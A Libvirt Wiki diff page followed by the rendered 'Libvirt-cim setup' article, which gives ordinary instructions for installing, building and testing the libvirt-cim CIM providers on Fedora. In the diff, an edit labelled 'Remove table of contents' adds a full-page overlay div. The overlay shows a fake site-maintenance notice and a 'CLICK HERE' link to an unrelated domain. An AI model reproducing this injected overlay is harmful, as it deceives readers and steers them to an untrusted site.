Difference between revisions of "Libvirt-cim setup"

From Libvirt Wiki
Jump to: navigation, search
m (Remove table of contents)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ekygelymib.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ekygelymib.co.cc CLICK HERE]=
 +
----
 +
</div>
 
__NOTOC__  
 
__NOTOC__  
 
[[cimtest|Back]]
 
[[cimtest|Back]]
Line 14: Line 22:
 
==== Fedora 9 / Fedora 10 release rpm  ====
 
==== Fedora 9 / Fedora 10 release rpm  ====
  
The Fedora development repository has all of the required packages for running libvirt-cim. For people not working directly on libvirt-cim development, this is the best method to get a working libvirt-cim installation. It won't be the most up-to-date version of the providers, but it will "just work". Start by getting a Fedora 9 or Fedora 10 machine installed. Install the CIM server and utility program:
+
The Fedora development repository has all of the required packages for running libvirt-cim. For people not working directly on libvirt-cim development, this is the best method to get a working libvirt-cim installation. It won't be the most up-to-date version of the providers, but it will &quot;just work&quot;. Start by getting a Fedora 9 or Fedora 10 machine installed. Install the CIM server and utility program:
  
 
  % yum install tog-pegasus sblim-wbemcli
 
  % yum install tog-pegasus sblim-wbemcli
Line 22: Line 30:
 
  % cimconfig -p -s enableHttpConnection=true
 
  % cimconfig -p -s enableHttpConnection=true
 
  % cimconfig -p -s repositoryIsDefaultInstanceProvider=true
 
  % cimconfig -p -s repositoryIsDefaultInstanceProvider=true
  Planned value for the property enableHttpConnection is set to "true" in
+
  Planned value for the property enableHttpConnection is set to &quot;true&quot; in
 
  CIMServer.
 
  CIMServer.
 
  % service tog-pegasus restart
 
  % service tog-pegasus restart
Line 38: Line 46:
 
  failovermethod=priority
 
  failovermethod=priority
 
  #baseurl=http://download.fedora.redhat.com/pub/fedora/linux/development/$basearch/os/
 
  #baseurl=http://download.fedora.redhat.com/pub/fedora/linux/development/$basearch/os/
  mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=rawhide&arch=$basearch
+
  mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=rawhide&amp;arch=$basearch
 
  enabled=1
 
  enabled=1
  
Line 46: Line 54:
  
 
  % yum install libvirt-cim
 
  % yum install libvirt-cim
  Loading "downloadonly" plugin
+
  Loading &quot;downloadonly&quot; plugin
 
  development              100% |=========================| 2.1 kB    00:00
 
  development              100% |=========================| 2.1 kB    00:00
 
  primary.sqlite.bz2        100% |=========================| 7.0 MB    00:04
 
  primary.sqlite.bz2        100% |=========================| 7.0 MB    00:04
Line 52: Line 60:
 
  Parsing package install arguments
 
  Parsing package install arguments
 
  Resolving Dependencies
 
  Resolving Dependencies
  --> Running transaction check
+
  --&gt; Running transaction check
  ---> Package libvirt-cim.x86_64 0:0.1-3.fc9 set to be updated
+
  ---&gt; Package libvirt-cim.x86_64 0:0.1-3.fc9 set to be updated
  ---> Package libvirt-cim.i386 0:0.1-3.fc9 set to be updated
+
  ---&gt; Package libvirt-cim.i386 0:0.1-3.fc9 set to be updated
  --> Processing Dependency: libcmpiutil.so.0 for package: libvirt-cim
+
  --&gt; Processing Dependency: libcmpiutil.so.0 for package: libvirt-cim
  --> Running transaction check
+
  --&gt; Running transaction check
  ---> Package libcmpiutil.i386 0:0.1-6.fc9 set to be updated
+
  ---&gt; Package libcmpiutil.i386 0:0.1-6.fc9 set to be updated
  --> Finished Dependency Resolution
+
  --&gt; Finished Dependency Resolution
 
  Dependencies Resolved
 
  Dependencies Resolved
 
  =============================================================================
 
  =============================================================================
Line 84: Line 92:
 
Which should return something like:
 
Which should return something like:
  
  localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName="KVM_VirtualSystemManagementService",Name="Management Service",SystemCreationClassName="KVM_HostSystem",SystemName="elm3b41"
+
  localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName=&quot;KVM_VirtualSystemManagementService&quot;,Name=&quot;Management Service&quot;,SystemCreationClassName=&quot;KVM_HostSystem&quot;,SystemName=&quot;elm3b41&quot;
  
  
Line 99: Line 107:
 
  $ ./autogen.sh
 
  $ ./autogen.sh
 
  $ ./configure (see table below for options)
 
  $ ./configure (see table below for options)
  $ make clean && make
+
  $ make clean &amp;&amp; make
 
  $ sudo make install
 
  $ sudo make install
  
{| cellspacing="0" border="1"
+
{| cellspacing=&quot;0&quot; border=&quot;1&quot;
 
|32 bit
 
|32 bit
 
|64 bit
 
|64 bit
Line 115: Line 123:
 
  $ ./configure (see table below for configure options)
 
  $ ./configure (see table below for configure options)
  
{| cellspacing="0" border="1"
+
{| cellspacing=&quot;0&quot; border=&quot;1&quot;
 
|
 
|
 
|Pegasus
 
|Pegasus
Line 129: Line 137:
 
|}
 
|}
  
Update /etc/ld.so.conf so that it includes the "/usr/lib/cmpi" path.  Then run:
+
Update /etc/ld.so.conf so that it includes the &quot;/usr/lib/cmpi&quot; path.  Then run:
 
  $ ldconfig
 
  $ ldconfig
  
Line 136: Line 144:
 
     # /etc/init.d/sfcbd start  or /usr/local/sbin/sfcbd -d
 
     # /etc/init.d/sfcbd start  or /usr/local/sbin/sfcbd -d
 
   pegasus
 
   pegasus
     # /etc/init.d/tog-pegasus start or /usr/local/sbin/tog-pegasus &
+
     # /etc/init.d/tog-pegasus start or /usr/local/sbin/tog-pegasus &amp;
  
  $ make clean && make
+
  $ make clean &amp;&amp; make
 
  $ sudo make preinstall
 
  $ sudo make preinstall
 
  $ -----Restart the CIMOM (Pegasus or sfcb)
 
  $ -----Restart the CIMOM (Pegasus or sfcb)
Line 154: Line 162:
 
Which should return something like:
 
Which should return something like:
  
  localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName="KVM_VirtualSystemManagementService",Name="Management Service",SystemCreationClassName="KVM_HostSystem",SystemName="elm3b41"
+
  localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName=&quot;KVM_VirtualSystemManagementService&quot;,Name=&quot;Management Service&quot;,SystemCreationClassName=&quot;KVM_HostSystem&quot;,SystemName=&quot;elm3b41&quot;
  
 
For Xen:
 
For Xen:
Line 162: Line 170:
 
Which should return something like:
 
Which should return something like:
  
  localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName="KVM_VirtualSystemManagementService",Name="Management Service",SystemCreationClassName="KVM_HostSystem",SystemName="elm3b41"
+
  localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName=&quot;KVM_VirtualSystemManagementService&quot;,Name=&quot;Management Service&quot;,SystemCreationClassName=&quot;KVM_HostSystem&quot;,SystemName=&quot;elm3b41&quot;
  
 
  $ wbemcli ein 'http://localhost:5988/root/virt:Xen_ComputerSystem'
 
  $ wbemcli ein 'http://localhost:5988/root/virt:Xen_ComputerSystem'
  localhost:5988/root/virt:Xen_ComputerSystem.CreationClassName="Xen_ComputerSystem",Name="Domain-0"
+
  localhost:5988/root/virt:Xen_ComputerSystem.CreationClassName=&quot;Xen_ComputerSystem&quot;,Name=&quot;Domain-0&quot;

Revision as of 23:29, 23 November 2010


Back

libvirt-cim setup instructions

System requirements
  • libvirt and libvirt-devel
  • CIMOM (Pegasus or sfcb) and the appropriate devel package for the given CIMOM

Setup Options

Fedora 9 / Fedora 10 release rpm

The Fedora development repository has all of the required packages for running libvirt-cim. For people not working directly on libvirt-cim development, this is the best method to get a working libvirt-cim installation. It won't be the most up-to-date version of the providers, but it will "just work". Start by getting a Fedora 9 or Fedora 10 machine installed. Install the CIM server and utility program:

% yum install tog-pegasus sblim-wbemcli

Next, you need to enable HTTP connections and Job support in pegasus:

% cimconfig -p -s enableHttpConnection=true
% cimconfig -p -s repositoryIsDefaultInstanceProvider=true
Planned value for the property enableHttpConnection is set to "true" in
CIMServer.
% service tog-pegasus restart
Shutting down CIM server:                                  [  OK  ]
Starting up CIM server:                                    [  OK  ]

NOTE:Fedora 9 and Fedora 10 don't have Dom0 support. You'll need to install KVM instead. If you do not already have KVM and libvirt installed, do so NOW before you enable the development repository. Similarly, do not install any other packages while fedora-devel is enabled. The development repository is unstable and many packages in it will break your system. To install libvirt and kvm:

% yum install kvm qemu libvirt

Next, enable the development repository by editing /etc/yum.repos.d/fedora-development.repo and enabling the development repository:

[development]
name=Fedora - Development
failovermethod=priority
#baseurl=http://download.fedora.redhat.com/pub/fedora/linux/development/$basearch/os/
mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=rawhide&arch=$basearch
enabled=1

Note the only change required is the enabled field from 0 to 1. Leave all other values as they are.

Next, install the provider and the associated support library:

% yum install libvirt-cim
Loading "downloadonly" plugin
development               100% |=========================| 2.1 kB    00:00
primary.sqlite.bz2        100% |=========================| 7.0 MB    00:04
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
--> Running transaction check
---> Package libvirt-cim.x86_64 0:0.1-3.fc9 set to be updated
---> Package libvirt-cim.i386 0:0.1-3.fc9 set to be updated
--> Processing Dependency: libcmpiutil.so.0 for package: libvirt-cim
--> Running transaction check
---> Package libcmpiutil.i386 0:0.1-6.fc9 set to be updated
--> Finished Dependency Resolution
Dependencies Resolved
=============================================================================
 Package                 Arch       Version          Repository        Size
=============================================================================
Installing:
 libvirt-cim             x86_64     0.1-3.fc9        development       1.7 M
 libvirt-cim             i386       0.1-3.fc9        development       1.6 M
Installing for dependencies:
 libcmpiutil             i386       0.1-6.fc9        development        43 k
Transaction Summary
=============================================================================
Install      3 Package(s)
Update       0 Package(s)
Remove       0 Package(s)
Total download size: 3.3 M
Is this ok [y/N]:

Answer yes and the providers will be downloaded and installed automatically.

You can now test that the providers are working with a command like:

% wbemcli ein  http://root:password@localhost/root/virt:KVM_VirtualSystemManagementService

Which should return something like:

localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName="KVM_VirtualSystemManagementService",Name="Management Service",SystemCreationClassName="KVM_HostSystem",SystemName="elm3b41"


Install from source

First, install a CIMOM. Next, checkout the libcmpiutil and libvirt-cim trees:

$ hg clone http://libvirt.org/hg/libcmpiutil/
$ hg clone http://libvirt.org/hg/libvirt-cim/

Configure, build and install the libcmpiutil library:

$ cd libcmpiutil
$ ./autogen.sh
$ ./configure (see table below for options)
$ make clean && make
$ sudo make install
32 bit 64 bit
./configure --enable-eoparser --prefix=/usr ./configure --prefix=/usr/lib64

Configure, build and install the libvirt-cim provider:

$ ./autoconfiscate.sh
$ ./configure (see table below for configure options)
Pegasus sfcb
32 bit CIMSERVER=pegasus PROVIDERDIR=/usr/lib/cmpi ./configure --prefix=/usr --disable-werror CIMSERVER=sfcb PROVIDERDIR=/usr/lib/cmpi ./configure --prefix=/usr --disable-werror
64 bit CIMSERVER=pegasus PROVIDERDIR=/usr/lib/cmpi ./configure --prefix=/usr/lib64 --disable-werror CIMSERVER=sfcb PROVIDERDIR=/usr/lib/cmpi ./configure --prefix=/usr/lib64 --disable-werror

Update /etc/ld.so.conf so that it includes the "/usr/lib/cmpi" path. Then run:

$ ldconfig
Start the CIMOM:
  sfcb
    # /etc/init.d/sfcbd start  or /usr/local/sbin/sfcbd -d
  pegasus
   # /etc/init.d/tog-pegasus start or /usr/local/sbin/tog-pegasus &
$ make clean && make
$ sudo make preinstall
$ -----Restart the CIMOM (Pegasus or sfcb)
$ sudo make install
$ sudo make postinstall

Manual testing

You can now test that the providers are working.

For KVM:

% wbemcli ein  http://root:password@localhost/root/virt:KVM_VirtualSystemManagementService

Which should return something like:

localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName="KVM_VirtualSystemManagementService",Name="Management Service",SystemCreationClassName="KVM_HostSystem",SystemName="elm3b41"

For Xen:

% wbemcli ein  http://root:password@localhost/root/virt:KVM_VirtualSystemManagementService

Which should return something like:

localhost:5988/root/virt:KVM_VirtualSystemManagementService.CreationClassName="KVM_VirtualSystemManagementService",Name="Management Service",SystemCreationClassName="KVM_HostSystem",SystemName="elm3b41"
$ wbemcli ein 'http://localhost:5988/root/virt:Xen_ComputerSystem'
localhost:5988/root/virt:Xen_ComputerSystem.CreationClassName="Xen_ComputerSystem",Name="Domain-0"